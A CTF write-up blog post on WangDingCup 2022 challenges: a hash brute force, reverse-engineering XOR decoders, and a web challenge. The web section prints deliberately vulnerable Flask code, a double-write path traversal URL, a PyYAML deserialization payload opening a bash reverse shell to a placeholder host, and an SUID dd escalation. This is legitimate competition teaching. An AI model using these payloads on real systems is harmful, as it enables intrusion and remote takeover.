网鼎杯2022青龙组

网鼎杯2022青龙组Re复现 IDA打开看到VirtualProtect函数。SMC自修改。这里对地址的值进行了复原,写个idapython进行复原(或者动态调试复原)之后对全部数据U了后,复原即可。可以得到第一处将密文和Buffer数组异或即可得到第一部分flag。第二处给了v3、后面有随机数,不太清楚干了什么,因为flag最后一位是 ‘}’ ,猜测一下用是用v3 和 rand 异或。 阅读详情


主站传送门

misc

签到

C31.png

crypto

crypto091

# -*- coding: utf-8 -*-
# @Time : 2022/8/26 9:53
# @Author : pysnow
import hashlib
import os

has = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
s = hashlib.sha256()
num = '861709'
for i in range(10):
    for j in range(10):
        for k in range(10):
            for l in range(10):
                for m in range(10):
                    for n in range(10):
                        for o in range(10):
                            phone = num + str(i) + str(j) + str(k) + str(l) + str(m) + str(n) + str(o)
                            h = hashlib.sha256(phone.encode('utf-8')).hexdigest()
                            if h == has:
                                print(phone)
                                exit()

简单的hash爆破
图片.pngflag{8617091733716}

web

web669

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()

def response(content, status):
    resp = make_response(content, status)
    return resp


@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None


@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)


@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)
# 下载文件

@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        # 上传文件过滤../
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)
        
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)
        # 解压
        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in     (extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')


@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

审计源码发现session必须是admin才能上传文件,然后secretkey是这个题目的主机名,在download函数里可以读文件,但是过滤了…/,就不能目录穿越了,但是由于这里的过滤方法是替换为空,那么就可以使用双写绕过
图片.png
payload:

http://eci-2zei6d9vvhdr4cp1orih.cloudeci1.ichunqiu.com:8888/...%2F.%2F...%2F.%2F...%2F.%2F...%2F.%2F...%2F.%2F...%2F.%2Fetc/hosts

读取hosts文件拿到key:engine-1
图片.png
接着审计其他路由
上传文件上传一个rar,并将其解压在指定目录,因为这里有了任意伪造session,所以可以控制解压路径
接着display这里存在一个pyyaml反序列化漏洞
图片.pnghttps://xz.aliyun.com/t/7923
这里对文件内容有过滤,基本上把许多payload都绕过了,寻找bypass
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml
图片.png最终找到payload如下

!!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').popen('bash -c \"bash -i >& /dev/tcp/xxx/2333 0>&1\"').read()"]

这里同样需要bypass掉括号,可以采用Unicode编码如下
图片.png将yaml文件修改为e4da3b7fbbce2345d7772b0674a318d5.yaml
然后压缩成rar,并上传,文件名改成.rar5
图片.png
图片.png这里压缩包里面应该是自己指定的yaml文件,最后上传,服务器会自动将里面的yaml文件解压在我们构造的fileinfo目录下
这里文件名为.rar的原因是为了让解压路径为fileinfo,当然也可以把session的dispath改为./也是可以的
图片.png
图片.png连上shell用suid提权 dd
这里推荐个网站
https://gtfobins.github.io/
[https://gtfobins.github.io/gtfobins/dd/)
图片.png图片.png

re

re694

esp定律手脱upx壳
对输入就只有两处进行操作
解题脚本如下

#include <stdio.h>


int main(){
    unsigned int res[20] = {
    0x0000004B, 0x00000048, 0x00000079, 0x00000013, 0x00000045, 0x00000030, 0x0000005C, 0x00000049, 
    0x0000005A, 0x00000079, 0x00000013, 0x00000070, 0x0000006D, 0x00000078, 0x00000013, 0x0000006F, 
    0x00000048, 0x0000005D, 0x00000064, 0x00000064
};

    for(int i =0;i<20;i++){
        res[i]^=0x50;
        res[i]-=0xA;
        res[i]^=0x66;
        printf("%c",res[i]);
    }

    return 0;
}
// flag{why_m0dify_pUx_SheLL}

re693

对输出的信息分析可以找到两个目标函数
函数名如下
image.png
对这两个函数分析可以写出解题脚本

#include <stdio.h>
#include <windows.h>
int main(){
    BYTE word[] = {
    167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54};
    BYTE WORD[] = {
    159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3};

    for (int i = 0; i < 16; i++) {
        printf("%c",WORD[i] ^ word[i]);
    }
    char YrXQd[] = "5a6c58444a6b48334f5a4e344d617964";// 函数名的16进制形式
    printf("\n%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]);


    return 0;
}

输出
8ce3da2b46019f75
3a4e76449355c414
组合一下就是flag{3a4e76449355c4148ce3da2b46019f75}

2022年网鼎杯题目整理 阅读详情

相关推荐

2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件

2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件 2022年第三届“网鼎杯”网络安全大赛(青龙组)部分题目附件

hashcat使用命令简介

1.指定HASH类型 在HashCat中--hash-type ?参数可以指定要破解的HASH类型,运行hashcat主程序加上--help参数,在* Generic hash types:中可以看到各种HASH类型的代号,如图所示:  不同版本的HashCat所支持的hash类型有所不同,如果没有指定--hash-type参数,那么程序默认为MD5类型。 2.指定破解模式 在Hash...

weixin_33851604的博客 1275

ctf网络安全攻防练习题

ctf网络安全攻防练习题 从N=NP能得到的结论当然是N=1或者P=0,然后结合图片内容,猜测此题跟二进制01有关,信息应该藏在像素中等等

数据结构与算法---哈希算法

哈希算法 将任意长度的二进制值串映射为固定长度的二进制值串,这个映射规则就叫做哈希算法 而映射得到的固定长度二进制值串就是哈希值。 哈希算法的要求 从哈希值不能反向推导出原始数据(哈希算法也叫单向哈希算法) 对原始值非常敏感,即使只有一个bit不同,也会得到不同的哈希值 散列冲突的概率很小 哈希算法执行效率高,针对较长文本,也能很快算出哈希值 哈希算法的应用 安全加密 唯一标识 数据校验 散列函数 负载均衡 分布式存储 安全加密 常用加密的哈希算法MD5(消息摘要算

L1ak的博客 557

网鼎杯密码题

网鼎杯密码题chaoyang.txt,加密方式暂不说,想知道解题流程可以讨论

Windows平台无人机仿真:从零搭建SITL环境与QGC联调

本文详细指导了在Windows平台上从零搭建无人机软件在环(SITL)仿真环境,并与QGroundControl(QGC)进行联调的完整流程。通过使用Cygwin工具链,开发者可以在没有实体硬件的情况下,模拟运行ArduPilot飞控,并通过MAVLink协议连接QGC地面站进行全功能测试,为无人机软件开发提供了一个安全、经济的虚拟沙盒环境。

weixin_29239279的博客 412

[ CTF ]【天格】战队WriteUp- 2022年第三届“网鼎杯”网络安全大赛(青龙组)

[ CTF ]【天格】战队WriteUp- 2022年第三届“网鼎杯”网络安全大赛(青龙组)

ZXW_NUDT的博客 5875

A Mathematical Framework for Transformer Circuits—(二)

transformer数学理论框架

qq_42208244的博客 758

2022网鼎杯青龙组CTF-WriteUp By EDISEC

2022网鼎杯青龙组CTF-WriteUp By EDISEC

qq_45603443的博客 1447

如何用SoulChat2.0快速克隆你的心理咨询师?手把手教你搭建AI数字孪生体

本文详细介绍了如何利用SoulChat2.0框架快速构建心理咨询师的AI数字孪生体。通过其核心PsyDT技术,仅需少量真实案例即可合成风格数据并微调大模型,从而低成本地创建能高度模仿特定咨询师语言风格和专业技术的AI分身,适用于预约访谈、心理教育等辅助场景,实现高效的人机协作。

julia4scientist的博客 979

PyTorch 最新安装教程(2021-07-27)

PyTorch 最新安装教程(2021-07-27)前言1. 安装 Anaconda2. 检查显卡,更新驱动3. 创建PyTorch环境4. 配置清华TUNA镜像源5. 安装 PyTorch6. 测试 前言 万事开头难! 这句话又一次被我验证。 记得前不久刚陷入Tensorflow2.0的安装困境,这一次又被PyTorch 搞哭辽。 孩子太难了o(╥﹏╥)o,不过还好最终成功安装,感谢全网资源,感谢大佬们的博客!被我一次一次试了出来。 1. 安装 Anaconda Anaconda 是一个用于科学计算的 P

全网粉丝30W+,优快云、稀土掘金人工智能领域签约作者,人工智能、大模型、Python 爬虫,商务合作,请私信沟通。 23万+

2022网鼎杯青龙组wp

2022网鼎杯青龙组wp

fly1ng_pengu1n的博客 3874

2026 AI浏览器Agent终极对比:BrowserAct、agentBrowser、PP-Browser 谁更适合落地?(安装+实战+场景全覆盖)

1.不要盲目追求最新框架:很多人跟风用agentBrowser,结果业务是多步骤复杂办公流程,反而不如BrowserAct稳定;2.风控场景优先PP-Browser:但凡需要登录账号、频繁访问正规平台,无脑选PP-Browser,能避开99%的封禁问题;3.AI批量解析优先agentBrowser:做知识库爬取、网页内容总结、批量问答,省Token就是省成本,长期使用性价比碾压另外两者;4.个人开发调试优先BrowserAct:容错高、日志全、调试简单,新手上手最快,不容易报错翻车。

十年老程序猿,AI 疯狂研究专家,前沿硬核知识分享 335

[网鼎杯 2022 青龙组]fakeshell

拖入010查看壳的情况,发现upx被改成了fuk,改回upx,然后拖入到upx中进行脱壳头。代码的逻辑是将dword_14001D000的字符加10异或0x50再跟0x66异或。将脱壳好的文件拖入ida中 可以发现可以正常使用了 F5查看主函数。将文件拖入ida 又又又爆红了 但是用upx脱壳却不能脱壳。指向的字符数组进行一些按位异或的操作。函数中使用了一个循环,将数值。函数中使用了一个循环,将数值。函数调用后,函数会调用。指向的内存位置,并递增。函数返回值,如果不等于。upx -d 文件地址。

liulala987的博客 582

飞牛fnNAS搭建Web网页版OFFICE(WPS)软件

本文介绍了如何在飞牛NAS上通过Docker容器部署WPS Office办公软件。主要内容包括:启用Docker服务、准备项目文件夹结构、使用Compose方式构建容器、解决端口冲突问题、配置中文输入法和字体库,以及通过ZeroTier实现远程访问。文章详细说明了每个步骤的操作方法,包括容器启动、输入法设置、字体添加和文件存储位置配置。最后还介绍了使用ZeroTier内网穿透技术实现远程访问NAS上WPS服务的方法,让用户可以在不同设备上随时编辑NAS中的文件。整个部署过程完整清晰,为NAS用户提供了便捷的

dgnankai的专栏 1702

HTML粉色爱心(完整代码)

HTML语言实现粉色爱心的完整代码。

AIGC 1118

【2022 网鼎杯】青龙组 crypto WriteUp

2022 网鼎杯 青龙组 crypto Write-Up

u010883831的博客 1243

YOLOv11改进 - 卷积Conv | PConv(Pinwheel-shaped Conv): 风车状卷积用于红外小目标检测 | AAAI 2025

本文介绍了风车状卷积(PConv)和基于尺度的动态(SD)损失在YOLOv11中的结合应用。PConv采用不对称填充,通过特殊结构设计、卷积运算和分组卷积技术,能更好地适应红外小目标的像素高斯空间分布,在少量增加参数的情况下极大扩展感受野。SD损失可根据目标大小动态调整尺度和位置损失的影响。我们将PConv集成到YOLOv11的主干网络低层,并在相关配置文件中进行设置。实验证明,YOLOv11 - PConv在IRSTD - 1K和SIRST - UAVB数据集上取得显著性能提升,验证了方法的有效性和泛化能

魔改工程师的博客 1335

2022第三届“网鼎杯”网络安全大赛-青龙组 部分WriteUp

MISC 签到题 八道网络安全选择题,百度都能搜索到答案,这里如果只知道部分题目答案,可以通过枚举测试fuzz答案,获得flag flag: flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a} RE re693 直接下载附件用golang打开 看main函数可以发现会打印两句话,要求输入有六个参数并且第三个为gLIhR的函数、被调用三次并且会调用到cHZv5......

渗透测试研究中心 9796

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

2022第三届网鼎杯青龙组

crypto405利用好flag的格式进行分析。将前5个grasshopper的产生过程列出公式来,有:i=0时,k_{10}=g_{0}=chr(‘f’)*k_{00}%p\\i=1时,k_{20}=g_{1}=chr(‘l’)*k_{10}%p\\……

qq_52193383的博客 2296

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

re [网鼎杯 2022 青龙组]fakeshell 复现

大体逻辑是,先判断长度是否等于20,再加密,加密函数很简单,有两部分,直接写出脚本。64位exe,upx魔改,放入010改回upx就行。放入ida,动调不了,静态看看。

m0_75098930的博客 280

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

re [网鼎杯 2022 青龙组]Handmake 复现

第一次看go语言源码,有点震撼,15万行,作者真强,怎么写出来的,第一次配go语言环境,看了看代码,逆应该逆不出来了,我电脑编译一次都要好几分钟,运行发现他让我输入一个函数,第一个好找,在源码里找。没学过go,他输入第一次后就直接退出了,后来看别人的wp才发现两个scanf之间加一个fmt.Scanln()才能正常输入。看不懂,上翻译,直接ctrl f gllhr一个个比较就行。慢慢找吧,50多个,

m0_75098930的博客 263

2022网鼎杯青龙组部分wp--re两题(challenge,Fakeshell)

ctf逆向

weixin_51681694的博客 967

2022网鼎杯青龙组签到题+crypto题解

ctf比赛题解

manerzi的博客 1806

网鼎杯2022re方向的两道wp(谨以此文,纪念那个遗憾的夏天)

现在看来,这两题两年前的我绝对不可能做得出来,不过这何尝不算是弥补了自己的遗憾呢?尽管结局并不如我们所愿,但那个夏天的经历,你们同我一起书写了它的句号。我认为这件事情本身就具有特别的意义。。。。。也祝愿各位能够越来越好,加油!!!!!!

m0_52061428的博客 2406

2022第三届网鼎杯网络安全大赛-青龙组

die检测upx加壳了。用upx脱壳失败。010 Editor查看段名UPX0, UPX1被修改为FUK0 FUK1, 使用010 Editor全局替换后。`upx -d re2.exe' 脱壳。分析。关键函数 sub_7FF7707819B0传2个参数。简单异或,直接写脚本。

334
上一篇: 巅峰极客2022wp
下一篇: 羊城杯2022
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值